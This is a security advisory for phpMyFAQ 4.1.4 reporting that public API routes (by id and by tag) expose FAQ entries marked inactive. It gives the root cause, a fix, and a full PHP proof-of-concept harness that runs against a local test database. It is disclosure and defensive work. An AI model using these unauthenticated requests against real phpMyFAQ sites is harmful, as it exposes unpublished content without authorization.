phpMyFAQ public FAQ APIs expose inactive FAQ content

Summary

## Affected Product phpMyFAQ ## Affected Versions - Confirmed affected: 4.1.4, API v3.1. - Confirmed affected: current main / 4.2-style source, API v4.0, for `GET /api/v4.0/faqs/tags/{tagId}` when `api.onlyActiveFaqs=true`. ## Patched Versions 4.1.5. ## Description The public FAQ API applies inconsistent `active = 'yes'` filtering across endpoints. A FAQ entry marked `active = 'no'` is hidden from `GET /api/v3.1/faqs/{categoryId}` in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes: - `GET /api/v3.1/faq/{categoryId}/{faqId}` returns the inactive FAQ title and full answer. - `GET /api/v3.1/faqs/tags/{tagId}` returns the inactive FAQ title and answer preview. On the current 4.2-style branch, `api.onlyActiveFaqs=true` hides inactive FAQs from list and direct-by-id endpoints, but `GET /api/v4.0/faqs/tags/{tagId}` still returns inactive FAQ title and preview because it calls `Faq::getFaqsByIds()` without active/date filtering. Inactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content. ## Root Cause `FaqController::getByCategoryId()` calls `Faq::getAllAvailableFaqsByCategoryId()`, which filters: ```sql fd.date_start <= now AND fd.date_end >= now AND fd.active = 'yes' ``` `FaqController::getByTagId()` instead resolves record IDs through `Tags::getFaqsByTagId()` and then calls `Faq::getFaqsByIds($recordIds)`. `Faq::getFaqsByIds()` filters by record ID, language, and permission, but does not filter `fd.active = 'yes'` or publication date windows before returning `record_title` and `record_preview`. In phpMyFAQ 4.1.4, `FaqController::getById()` calls `Faq::getFaqByIdAndCategoryId()`, which also lacks an inactive/publication-window filter and returns the full answer. ## Proof of Concept The attached PoC uses phpMyFAQ's real Composer autoloader, real public `FaqController`, and a temporary copy of `tests/test.db`. Run from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and `tests/test.db` exists: ```bash php poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4 ``` Expected output: ```text phpMyFAQ version: 4.1.4 Inserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414 GET /api/v3.1/faqs/991414 status: 200 Category response contains inactive title: no GET /api/v3.1/faq/991414/991414 status: 200 Direct-by-id response contains inactive full title+answer: yes GET /api/v3.1/faqs/tags/991414 status: 200 Tag response contains inactive title+preview: yes VERDICT: reproduced inactive FAQ exposure through public API controller paths. ``` ## Suggested Fix Apply one consistent public visibility check across all public FAQ API routes: - `fd.active = 'yes'` - `fd.date_start <= now` - `fd.date_end >= now` Suggested implementation options: - Add `Faq::getActiveFaqsByIds(array $faqIds)` and use it in public tag API routes. - Or add an `$onlyActive` / `$publicOnly` argument to `Faq::getFaqsByIds()` and default public controllers to enabled filtering. - Update `Faq::getFaqByIdAndCategoryId()` or the public controller wrapper so inactive records return 404 for unauthenticated public API requests. - Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations. ## Reporter Credit Please credit: Yaohui Wang ## CVE Request Because this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria. ## Full PoC Source ~~~php <?php declare(strict_types=1); /* * PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs. * * Usage from a phpMyFAQ 4.1.4 source checkout: * php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4 * * If no path is provided, the current working directory is used. * * This is a local-only defensive harness. It uses phpMyFAQ's real Composer * autoloader, real public API controller, and a temporary copy of tests/test.db. */ use phpMyFAQ\Configuration; use phpMyFAQ\Controller\Api\FaqController; use phpMyFAQ\Database; use phpMyFAQ\Database\DatabaseDriver; use phpMyFAQ\Language; use phpMyFAQ\Strings; use phpMyFAQ\System; use phpMyFAQ\Translation; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Session\Session; use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage; $repoRoot = $argv[1] ?? getcwd(); $repoRoot = realpath($repoRoot); if ($repoRoot === false || !is_dir($repoRoot . '/phpmyfaq')) { fwrite(STDERR, "Usage: php " . basename(__FILE__) . " /path/to/phpMyFAQ-4.1.4\n"); exit(2); } if (!is_file($repoRoot . '/phpmyfaq/src/autoload.php')) { fwrite(STDERR, "Missing phpmyfaq/src/autoload.php. Run composer install first.\n"); exit(2); } if (!is_file($repoRoot . '/tests/test.db')) { fwrite(STDERR, "Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\n"); exit(2); } define('PMF_ROOT_DIR', $repoRoot . '/phpmyfaq'); define('PMF_CONFIG_DIR', $repoRoot . '/tests/content/core/config'); define('PMF_CONTENT_DIR', $repoRoot . '/tests/content'); define('PMF_TEST_DIR', $repoRoot . '/tests'); define('PMF_LOG_DIR', sys_get_temp_dir() . '/phpmyfaq_414_inactive_faq_api_poc.log'); const IS_VALID_PHPMYFAQ = true; $_SERVER['HTTP_HOST'] = 'localhost'; $_SERVER['SERVER_NAME'] = 'localhost'; $_SERVER['REQUEST_TIME'] = time(); require PMF_ROOT_DIR . '/src/constants.php'; require PMF_ROOT_DIR . '/content/core/config/constants.php'; require PMF_ROOT_DIR . '/translations/language_en.php'; require PMF_ROOT_DIR . '/src/autoload.php'; function pocQuery(DatabaseDriver $db, string $sql): void { $result = $db->query($sql); if ($result === false) { throw new RuntimeException('SQL failed: ' . $db->error() . "\nSQL: " . $sql); } } $tempDb = tempnam(sys_get_temp_dir(), 'pmf-414-api-poc-'); if ($tempDb === false || !copy($repoRoot . '/tests/test.db', $tempDb)) { fwrite(STDERR, "Cannot create temporary SQLite database.\n"); exit(2); } try { Strings::init(); Translation::create() ->setTranslationsDir(PMF_ROOT_DIR . '/translations') ->setDefaultLanguage('en') ->setCurrentLanguage('en') ->setMultiByteLanguage(); Database::setTablePrefix(''); $db = Database::factory('pdo_sqlite'); if (!$db instanceof DatabaseDriver) { throw new RuntimeException('Could not create PDO SQLite database driver.'); } $db->connect($tempDb, '', ''); $configuration = new Configuration($db); $configuration->getAll(); $configuration->set('api.enableAccess', 'true'); $configuration->set('main.currentVersion', System::getVersion()); $configuration->set('main.language', 'en'); $configuration->set('main.referenceURL', 'https://localhost/'); $configuration->set('security.enableLoginOnly', 'false'); $configuration->set('security.permLevel', 'basic'); $configuration->set('records.numberOfRecordsPerPage', '25'); $configuration->getAll(); $session = new Session(new MockArraySessionStorage()); $language = new Language($configuration, $session); $language->setLanguageFromConfiguration('en'); $configuration->setLanguage($language); $faqId = 991414; $tagId = 991414; $categoryId = 991414; $question = 'Inactive tagged API probe 4.1.4'; $answer = 'This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.'; pocQuery($db, sprintf('DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d', $faqId, $tagId)); pocQuery($db, sprintf('DELETE FROM faqtags WHERE tagging_id = %d', $tagId)); pocQuery($db, sprintf('DELETE FROM faqdata_user WHERE record_id = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqdata_group WHERE record_id = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqvisits WHERE id = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqcategoryrelations WHERE record_id = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqdata WHERE id = %d', $faqId)); pocQuery($db, sprintf( "INSERT INTO faqdata (id, lang, solution_id, revision_id, active, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes, sticky_order) VALUES (%d, 'en', %d, 0, 'no', 0, 'probe', '%s', '%s', 'Probe', '[email protected]', 'y', '20260601010101', '00000000000000', '99991231235959', '2026-06-01 01:01:01', '', 0)", $faqId, $faqId, $db->escape($question), $db->escape($answer), )); pocQuery($db, sprintf( "INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang) VALUES (%d, 'en', %d, 'en')", $categoryId, $faqId, )); pocQuery($db, sprintf('INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)', $faqId)); pocQuery($db, sprintf("INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, 'en', 0, 20260601010101)", $faqId)); pocQuery($db, sprintf("INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, 'probe-private-414')", $tagId)); pocQuery($db, sprintf('INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)', $faqId, $tagId)); $controller = new FaqController(); $categoryRequest = Request::create('/api/v3.1/faqs/' . $categoryId, 'GET'); $categoryRequest->attributes->set('categoryId', (string) $categoryId); $categoryResponse = $controller->getByCategoryId($categoryRequest); $categoryContainsProbe = str_contains((string) $categoryResponse->getContent(), $question); $directRequest = Request::create('/api/v3.1/faq/' . $categoryId . '/' . $faqId, 'GET'); $directRequest->attributes->set('categoryId', (string) $categoryId); $directRequest->attributes->set('faqId', (string) $faqId); $directResponse = $controller->getById($directRequest); $directContainsProbe = str_contains((string) $directResponse->getContent(), $question) && str_contains((string) $directResponse->getContent(), $answer); $tagRequest = Request::create('/api/v3.1/faqs/tags/' . $tagId, 'GET'); $tagRequest->attributes->set('tagId', (string) $tagId); $tagResponse = $controller->getByTagId($tagRequest); $tagPayload = json_decode((string) $tagResponse->getContent(), true, 512, JSON_THROW_ON_ERROR); $tagContainsProbe = str_contains((string) $tagResponse->getContent(), $question) && str_contains((string) $tagResponse->getContent(), 'inactive FAQ preview'); echo "phpMyFAQ version: " . System::getVersion() . "\n"; echo "Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\n\n"; echo "GET /api/v3.1/faqs/{$categoryId} status: " . $categoryResponse->getStatusCode() . "\n"; echo "Category response contains inactive title: " . ($categoryContainsProbe ? 'yes' : 'no') . "\n\n"; echo "GET /api/v3.1/faq/{$categoryId}/{$faqId} status: " . $directResponse->getStatusCode() . "\n"; echo "Direct-by-id response contains inactive full title+answer: " . ($directContainsProbe ? 'yes' : 'no') . "\n\n"; echo "GET /api/v3.1/faqs/tags/{$tagId} status: " . $tagResponse->getStatusCode() . "\n"; echo "Tag response contains inactive title+preview: " . ($tagContainsProbe ? 'yes' : 'no') . "\n"; echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . "\n\n"; if (!$categoryContainsProbe && $directContainsProbe && $tagContainsProbe) { echo "VERDICT: reproduced inactive FAQ exposure through public API controller paths.\n"; exit(0); } echo "VERDICT: not reproduced.\n"; exit(1); } finally { if (isset($tempDb) && is_file($tempDb)) { @unlink($tempDb); } } ~~~